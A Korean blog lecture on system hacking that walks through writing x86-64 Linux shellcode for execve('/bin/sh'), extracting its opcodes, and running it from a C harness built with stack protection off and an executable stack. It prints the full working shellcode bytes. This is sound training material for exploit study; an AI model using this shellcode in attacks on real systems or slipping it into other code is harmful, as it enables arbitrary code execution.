Sechack

[시스템 해킹] 2강 - Shellcode 본문

Lecture/pwnable

[시스템 해킹] 2강 - Shellcode

Sechack 2021. 12. 9. 01:19
반응형

이번 시간에는 Shellcode가 무엇인지 이해하고 직접 Shellcode를 만들어보는 실습을 할 것입니다.

 

 

Shellcode는 메모리에 올리면 바로 실행을 할 수 있는 기계어 조각입니다. 시스템 해킹에서도 프로그램의 흐름을 변조할 수 있을때 메모리에 Shellcode를 올리고 Shellcode가 있는 메모리 주소로 프로그램의 흐름을 바꿔서 원하는 Shellcode를 실행시키는 방식의 공격이 상황에 따라서 유용하게 쓰입니다.

 

 

그러면 이러한 Shellcode는 어떻게 만들어질까요? 지금부터 그 과정을 함께 실습해보도록 합시다.

 

실습하기 전에 지난시간에 만들어두었던 ubuntu 20.04를 부팅시켜주세요.

 

cd ~
mkdir pwnable
cd pwnable
sudo apt install nasm

 

Shellcode는 보통 어셈블리 언어로 코딩하고 기계어 형태로 바꿔서 사용합니다. 따라서 어셈블리 언어를 컴파일하기 위한 nasm을 설치해주어야 합니다. 위의 명령어대로 pwnable이라는 폴더를 하나 만들고 nasm을 설치해주세요.

 

vim shellcode.s

 

vim에디터로 shellcode.s파일을 열어줍시다. vim사용법은 다들 아실거라 생각하고 생략하도록 하겠습니다.

우리는 execve("/bin/sh", 0, 0); 이러한 코드를 실행하는 Shellcode를 만들어볼 것입니다.

먼저 execve syscall의 syscall number를 알아야 합니다.

 

 

syscall table을 보면 execve는 syscall number가 0x3b인것을 알 수 있습니다. 64bit에서는 rax에 syscall number가 들어가고 rdi, rsi, rdx에 각각 첫번째, 두번째 세번째 인자가 들어갑니다. 따라서 모든 레지스터 세팅을 해준 뒤에 syscall을 부르면 원하는 동작을 수행할 수 있습니다. 그러면 execve("/bin/sh", 0, 0);을 부르기 위한 어셈블리 코딩을 해보겠습니다.

 

 

section .text
	global _start

_start:
	xor rax, rax	;set rax 0
	push rax	;make /bin//sh next byte null
	mov al, 0x3b	;set syscall number
	mov rdi, 0x68732f2f6e69622f	;make /bin//sh string
	push rdi	;push /bin//sh string
	mov rdi, rsp	;set first arg (rsp points to /bin//sh)
	xor rsi, rsi	;set second arg
	xor rdx, rdx	;set third arg
	syscall

 

완성된 어셈블리 언어 소스코드입니다. 주석으로 설명을 달어놓았으니 참고하시면서 분석하시면 됩니다.

/bin//sh를 넣은 이유는 Shellcode에 padding으로 NULL byte가 생기지 않게끔 하기 위해서 8byte를 꽉 채운겁니다.

Shellcode에 NULL이나 \n같은 문자들이 포함된 경우 buffer overflow와 같은 공격을 할 때 입력이 끊길 수 있기 때문입니다.

 

nasm -f elf64 -o shellcode.o shellcode.s
ld -o shellcode shellcode.o

 

위의 명령어들을 이용해서 우리가 코딩한 어셈블리 언어를 리눅스에서 실행 가능한 ELF파일로 만들어줍니다.

 

 

이제 우리가 만든 ELF파일을 실행해보면 성공적으로 /bin/sh를 실행한것을 볼 수 있습니다. 그러면 이제 저 실행파일에서 우리가 코딩한 어셈블리 언어의 기계어 소스코드를 가져와야 합니다.

objdump -d shellcode

 

objdump를 이용해서 위와같은 명령어로 opcode(기계어 코드)를 가져올 수 있습니다.

 

 

그러면 이제 출력된 opcode를 조합해봅시다.

 

\x48\x31\xc0\x50\xb0\x3b\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05

 

완성된 Shellcode입니다. 만들고 나서 길이를 재보니까 28byte입니다. /bin/sh를 실행하는 64bit Shellcode는 23byte까지 줄일 수 있으니까 위의 코드에서 좀 더 줄여보시는것도 좋습니다.

반응형

 

#include <stdio.h>

int main(void)
{
	char shellcode[] = "\x48\x31\xc0\x50\xb0\x3b\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05";

	(*(void (*)()) shellcode)();

	return 0;
}

 

이제 완성된 Shellcode가 메모리에 올라갔을때 잘 실행이 되나 테스트를 해야합니다. 위와 같이 Shellcode를 메모리에 올리고 Shellcode가 올라간 메모리 주소를 함수 포인터로 호출하는 C언어 소스코드를 만들어줍시다.

 

gcc -o test test.c -fno-stack-protector -z execstack

 

위의 gcc옵션대로 스택에 실행권한을 주면서 C언어 소스코드를 컴파일 해야합니다.

 

 

컴파일 후 실행시켜보면 우리가 제작한 Shellcode가 성공적으로 메모리에 올라가서 실행되는 모습을 볼 수 있습니다.

 

 

이번 시간에는 ubuntu에서 Shellcode x64를 만들어보는 실습을 했습니다. 32bit에서의 Shellcode도 위의 방법대로 혼자서 만들어보시면 실력향상에 도움이 되실겁니다.

 

우리는 Shellcode를 만들기 위해서 많은 과정을 거쳤습니다. 하지만 결국에는 어셈블리 언어를 opcode로 변환하는 과정일 뿐입니다.

다음 시간에는 Shellcode작성을 비롯해서 매우 유용하고 강력한 기능이 많고 시스템 해킹을 한다면 빠질 수 없는 python모듈 pwntools에 대해서 알아보는 시간을 가져보도록 하겠습니다.

반응형
Comments